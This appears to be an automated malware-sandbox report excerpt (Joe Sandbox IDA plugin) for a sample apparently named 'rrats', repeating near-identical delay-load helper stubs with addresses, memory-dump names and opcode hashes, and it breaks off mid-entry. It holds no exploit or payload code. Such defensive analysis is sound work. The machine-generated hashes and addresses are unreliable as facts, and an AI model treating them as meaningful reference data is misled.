API String ID: 1269201914-0
Opcode ID: 6b94d124fe68e2af3fe792b5b8548ab9bd12068c4969abef2cd4b8116be88ae0
Instruction ID: 86f8ca01527850f7b079e2e337c3e8d453b0fd7d7904f77cca36dc65b69e7eaf
Opcode Fuzzy Hash: 6b94d124fe68e2af3fe792b5b8548ab9bd12068c4969abef2cd4b8116be88ae0
Instruction Fuzzy Hash: 21A001E62AD552BC3908625A6D46CFB025EC4C5F65B30C93EF916C45C2A891AC45A871

Function 00CBE291 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00CBE1E3

Part of subcall function 00CBE85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00CBE8D0
Part of subcall function 00CBE85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00CBE8E1

Memory Dump Source

Source File: 00000000.00000002.2050091952.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.2050035565.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050128084.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CDE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CE5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000D02000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050522240.0000000000D03000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_rrats.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 5683f5fa2d9626c37b937b8c1613e826389c1a83fe18cdce2ef31e3dd27db669
Instruction ID: 86f8ca01527850f7b079e2e337c3e8d453b0fd7d7904f77cca36dc65b69e7eaf
Opcode Fuzzy Hash: 5683f5fa2d9626c37b937b8c1613e826389c1a83fe18cdce2ef31e3dd27db669
Instruction Fuzzy Hash: 21A001E62AD552BC3908625A6D46CFB025EC4C5F65B30C93EF916C45C2A891AC45A871

Function 00CBE2AF Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00CBE1E3

Part of subcall function 00CBE85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00CBE8D0
Part of subcall function 00CBE85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00CBE8E1

Memory Dump Source

Source File: 00000000.00000002.2050091952.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.2050035565.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050128084.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CDE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CE5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000D02000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050522240.0000000000D03000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_rrats.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 88e3e30054568c33a99fb0da7f79058d12422e9269b444fcc1d695f14d055742
Instruction ID: 86f8ca01527850f7b079e2e337c3e8d453b0fd7d7904f77cca36dc65b69e7eaf
Opcode Fuzzy Hash: 88e3e30054568c33a99fb0da7f79058d12422e9269b444fcc1d695f14d055742
Instruction Fuzzy Hash: 21A001E62AD552BC3908625A6D46CFB025EC4C5F65B30C93EF916C45C2A891AC45A871

Function 00CBE2A5 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00CBE1E3

Part of subcall function 00CBE85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00CBE8D0
Part of subcall function 00CBE85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00CBE8E1

Memory Dump Source

Source File: 00000000.00000002.2050091952.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.2050035565.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050128084.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CDE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CE5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000D02000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050522240.0000000000D03000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_rrats.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: c63312fa77354543997a78457c40293544c7e703447cce3e4703c0bf070e177c
Instruction ID: 86f8ca01527850f7b079e2e337c3e8d453b0fd7d7904f77cca36dc65b69e7eaf
Opcode Fuzzy Hash: c63312fa77354543997a78457c40293544c7e703447cce3e4703c0bf070e177c
Instruction Fuzzy Hash: 21A001E62AD552BC3908625A6D46CFB025EC4C5F65B30C93EF916C45C2A891AC45A871

Function 00CBE25F Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00CBE1E3

Part of subcall function 00CBE85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00CBE8D0
Part of subcall function 00CBE85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00CBE8E1

Memory Dump Source

Source File: 00000000.00000002.2050091952.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.2050035565.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050128084.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CDE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CE5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000D02000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050522240.0000000000D03000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_rrats.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 31211973cf3c33849dbd6b971c243b4fd8330c833b68e3e515827bc9ad06f13e
Instruction ID: 86f8ca01527850f7b079e2e337c3e8d453b0fd7d7904f77cca36dc65b69e7eaf
Opcode Fuzzy Hash: 31211973cf3c33849dbd6b971c243b4fd8330c833b68e3e515827bc9ad06f13e
Instruction Fuzzy Hash: 21A001E62AD552BC3908625A6D46CFB025EC4C5F65B30C93EF916C45C2A891AC45A871

Function 00CBE27D Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00CBE1E3

Part of subcall function 00CBE85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00CBE8D0
Part of subcall function 00CBE85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00CBE8E1

Memory Dump Source

Source File: 00000000.00000002.2050091952.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.2050035565.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050128084.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CDE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CE5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000D02000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050522240.0000000000D03000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_rrats.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: e7ee85e613b45c66352e929dc40d4c8a21ca593af93a097ecc526be381505cc0
Instruction ID: 86f8ca01527850f7b079e2e337c3e8d453b0fd7d7904f77cca36dc65b69e7eaf
Opcode Fuzzy Hash: e7ee85e613b45c66352e929dc40d4c8a21ca593af93a097ecc526be381505cc0
Instruction Fuzzy Hash: 21A001E62AD552BC3908625A6D46CFB025EC4C5F65B30C93EF916C45C2A891AC45A871

Function 00CBE219 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00CBE1E3

Part of subcall function 00CBE85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00CBE8D0
Part of subcall function 00CBE85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00CBE8E1

Memory Dump Source

Source File: 00000000.00000002.2050091952.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.2050035565.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050128084.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CDE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CE5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000D02000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050522240.0000000000D03000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_rrats.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 90fec3aec0d2bae908abbaca2a45468d0f3bed9514e3b3ada8d2a4c58d577e0e
Instruction ID: 86f8ca01527850f7b079e2e337c3e8d453b0fd7d7904f77cca36dc65b69e7eaf
Opcode Fuzzy Hash: 90fec3aec0d2bae908abbaca2a45468d0f3bed9514e3b3ada8d2a4c58d577e0e
Instruction Fuzzy Hash: 21A001E62AD552BC3908625A6D46CFB025EC4C5F65B30C93EF916C45C2A891AC45A871

Function 00CBE3EF Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00CBE3FC

Part of subcall function 00CBE85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00CBE8D0
Part of subcall function 00CBE85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00CBE8E1

Memory Dump Source

Source File: 00000000.00000002.2050091952.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.2050035565.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050128084.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CDE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CE5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000D02000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050522240.0000000000D03000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_rrats.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: a75701d738336d1f177580bb54f34baa2d275ae47c6a96efeb80aa9c3aff0495
Instruction ID: 40be3938acde55064429fedaa63ebf63c0b7ae5a423d0fdb3be58e557473fe60
Opcode Fuzzy Hash: a75701d738336d1f177580bb54f34baa2d275ae47c6a96efeb80aa9c3aff0495
Instruction Fuzzy Hash: 60A011E22A80023C3A0822022C82CFB028EC0C0F28B30802EF820A00C0AC800C02A8B2

Function 00CBE446 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00CBE3FC

Part of subcall function 00CBE85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00CBE8D0
Part of subcall function 00CBE85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00CBE8E1

Memory Dump Source

Source File: 00000000.00000002.2050091952.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.2050035565.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050128084.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CDE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CE5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000D02000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050522240.0000000000D03000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_rrats.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: c3ef2273dc2896f76bf52f22204063e5f99dabf58288bee628e50d7e8d1424bb
Instruction ID: 4acc3b76ffa8c2a5053a67c09a9ba7558301284ad57c10c9220053264e6e2197
Opcode Fuzzy Hash: c3ef2273dc2896f76bf52f22204063e5f99dabf58288bee628e50d7e8d1424bb
Instruction Fuzzy Hash: F1A011E22A8002BC3A0822022C82CFB028EC0C0F20B30882EF802800C0A8800C02A8B2

Function 00CBE40A Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00CBE3FC

Part of subcall function 00CBE85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00CBE8D0
Part of subcall function 00CBE85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00CBE8E1

Memory Dump Source

Source File: 00000000.00000002.2050091952.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.2050035565.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050128084.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CDE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CE5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000D02000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050522240.0000000000D03000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_rrats.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 0c9844e05995801c76050b4ed9b1deea4d4b949a05698f1894d2340519e1c0a9
Instruction ID: 4acc3b76ffa8c2a5053a67c09a9ba7558301284ad57c10c9220053264e6e2197
Opcode Fuzzy Hash: 0c9844e05995801c76050b4ed9b1deea4d4b949a05698f1894d2340519e1c0a9
Instruction Fuzzy Hash: F1A011E22A8002BC3A0822022C82CFB028EC0C0F20B30882EF802800C0A8800C02A8B2

Function 00CBE414 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00CBE3FC

Part of subcall function 00CBE85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00CBE8D0
Part of subcall function 00CBE85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00CBE8E1

Memory Dump Source

Source File: 00000000.00000002.2050091952.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.2050035565.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050128084.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CDE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CE5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000D02000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050522240.0000000000D03000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_rrats.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 213f8d9ff39be79cf0b355aff9430b0d2ed54e2c38636a9f8bb09b5a5bb71606
Instruction ID: 4acc3b76ffa8c2a5053a67c09a9ba7558301284ad57c10c9220053264e6e2197
Opcode Fuzzy Hash: 213f8d9ff39be79cf0b355aff9430b0d2ed54e2c38636a9f8bb09b5a5bb71606
Instruction Fuzzy Hash: F1A011E22A8002BC3A0822022C82CFB028EC0C0F20B30882EF802800C0A8800C02A8B2

Function 00CBE43C Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00CBE3FC

Part of subcall function 00CBE85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00CBE8D0
Part of subcall function 00CBE85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00CBE8E1

Memory Dump Source

Source File: 00000000.00000002.2050091952.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.2050035565.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050128084.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CDE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CE5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000D02000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050522240.0000000000D03000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_rrats.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 5d0008ad0ff9f0fd4a5faf5e4276b089044dcf1244e015eb9becf0c49004fc4b
Instruction ID: 4acc3b76ffa8c2a5053a67c09a9ba7558301284ad57c10c9220053264e6e2197
Opcode Fuzzy Hash: 5d0008ad0ff9f0fd4a5faf5e4276b089044dcf1244e015eb9becf0c49004fc4b
Instruction Fuzzy Hash: F1A011E22A8002BC3A0822022C82CFB028EC0C0F20B30882EF802800C0A8800C02A8B2

Function 00CBE432 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00CBE3FC

Part of subcall function 00CBE85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00CBE8D0
Part of subcall function 00CBE85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00CBE8E1

Memory Dump Source

Source File: 00000000.00000002.2050091952.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.2050035565.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050128084.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CDE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CE5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000D02000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050522240.0000000000D03000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_rrats.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 375791acbd901921229ed4cc697bb686610555f912907224aaa4f1ec10d7218f
Instruction ID: 4acc3b76ffa8c2a5053a67c09a9ba7558301284ad57c10c9220053264e6e2197
Opcode Fuzzy Hash: 375791acbd901921229ed4cc697bb686610555f912907224aaa4f1ec10d7218f
Instruction Fuzzy Hash: F1A011E22A8002BC3A0822022C82CFB028EC0C0F20B30882EF802800C0A8800C02A8B2

Function 00CBE58E Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00CBE580

Part of subcall function 00CBE85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00CBE8D0
Part of subcall function 00CBE85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00CBE8E1

Memory Dump Source

Source File: 00000000.00000002.2050091952.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.2050035565.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050128084.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CDE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CE5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000D02000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050522240.0000000000D03000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_rrats.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 383d09aea8e812e7d1d1031ad2acda3627c395fc0e6660175805973f032ec815
Instruction ID: d91921d0ca807f8cf1c898191eee321ea1b230d7ffae67da977a4180c77f9060
Opcode Fuzzy Hash: 383d09aea8e812e7d1d1031ad2acda3627c395fc0e6660175805973f032ec815
Instruction Fuzzy Hash: 1AA022C22AC003BC3008A2A32C83CFB022EC8C0F28B30883FF802C00C0BC800C0AA830

Function 00CBE5A2 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00CBE580

Part of subcall function 00CBE85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00CBE8D0
Part of subcall function 00CBE85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00CBE8E1

Memory Dump Source

Source File: 00000000.00000002.2050091952.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.2050035565.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050128084.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CDE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CE5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000D02000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050522240.0000000000D03000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_rrats.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 5425d6755c3d07953e31d84f111debf3f83f5ba115b4f706f404907cf3ab7b18
Instruction ID: d91921d0ca807f8cf1c898191eee321ea1b230d7ffae67da977a4180c77f9060
Opcode Fuzzy Hash: 5425d6755c3d07953e31d84f111debf3f83f5ba115b4f706f404907cf3ab7b18
Instruction Fuzzy Hash: 1AA022C22AC003BC3008A2A32C83CFB022EC8C0F28B30883FF802C00C0BC800C0AA830

Function 00CBE55F Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00CBE51F

Part of subcall function 00CBE85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00CBE8D0
Part of subcall function 00CBE85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00CBE8E1

Memory Dump Source

Source File: 00000000.00000002.2050091952.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.2050035565.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050128084.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CDE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CE5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000D02000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050522240.0000000000D03000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_rrats.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 80da5aa758877faf645124b4c4c8c26570970392462f9e8a8b3c0d4af9edcae2
Instruction ID: 9c2f1a747d95d5db2e4fb68c41e2aa7d8521b2fe92bb910dff2b6a39fcd51536
Opcode Fuzzy Hash: 80da5aa758877faf645124b4c4c8c26570970392462f9e8a8b3c0d4af9edcae2
Instruction Fuzzy Hash: 16A011C22E8802BC3008220A2C02CFB020EC0C2F28B308A2EFA02800C0A8800C0AA832

Function 00CBE555 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00CBE51F

Part of subcall function 00CBE85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00CBE8D0
Part of subcall function 00CBE85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00CBE8E1

Memory Dump Source

Source File: 00000000.00000002.2050091952.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.2050035565.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050128084.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CDE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CE5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000D02000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050522240.0000000000D03000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_rrats.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 0ea5218368610a893f85a77246e99de84cb9f58841312bf12c9089bd23bee1a0
Instruction ID: 9c2f1a747d95d5db2e4fb68c41e2aa7d8521b2fe92bb910dff2b6a39fcd51536
Opcode Fuzzy Hash: 0ea5218368610a893f85a77246e99de84cb9f58841312bf12c9089bd23bee1a0
Instruction Fuzzy Hash: 16A011C22E8802BC3008220A2C02CFB020EC0C2F28B308A2EFA02800C0A8800C0AA832

Function 00CBE569 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00CBE51F

Part of subcall function 00CBE85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00CBE8D0
Part of subcall function 00CBE85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00CBE8E1

Memory Dump Source

